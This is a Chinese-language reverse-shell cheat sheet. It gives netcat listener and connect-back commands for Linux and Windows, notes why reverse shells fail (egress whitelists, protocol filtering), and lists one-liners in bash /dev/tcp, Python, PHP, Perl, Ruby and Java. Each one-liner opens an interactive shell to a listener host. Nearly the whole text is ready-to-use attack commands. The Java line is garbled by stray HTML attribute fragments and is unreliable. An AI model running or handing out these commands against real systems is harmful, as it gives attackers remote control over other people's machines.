使用ncF连接shell

1
2
3
4
5
6
nc监听 nc -lvp 9527

nc 监听机IP 监听机PORT -e /bin/bash #靶机正向连接监听机

nc 监听机IP 监听机PORT -e c:\windows\system32\cmd.exe #Windows

反弹shell失败原因

反弹命令不存在(zsh、ksh解释不了/dev/tcp/)

客户机访问IP白名单

客户机出栈端口白名单

客户机对出栈协议限制(Linux用curl 探测http协议,监听机tcpdump icmp监听icmp流量客户机去ping监听机,nslookup探测dns协议)

无nc环境

1
2
bash -I >& /dev/tcp/192.168.32.1/6666 0>&1 
#/dev/tcp不是文件(类似个接口),bash会对其进行特殊处理,类似发出一个tcp socket,在连接中传输数据,主机存在就会在/proc/self/fd目录下产生文件,zsh、ksh解释器没有这个特殊解释,所以不#能用来打开socket,这种时候可以使用别的反弹方式。

靶机有python环境

1
2
## 建立TCP服务,作为客户机,使用subprocess执行命令并且把结果返还给控制机。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("监听机IP",监听机PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

靶机有PHP环境

1
php -r '$sock=fsockopen("监听机IP",监听机PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

靶机有Perl环境

1
perl -e 'use Socket; $i="监听机IP";$p=监听机PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

靶机有ruby环境

1
ruby -rsocket -e'f=TCPSocket.open("监听机IP",监听机PORT).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'

靶机有java环境

1
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/监听机IP/监听机PORT;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()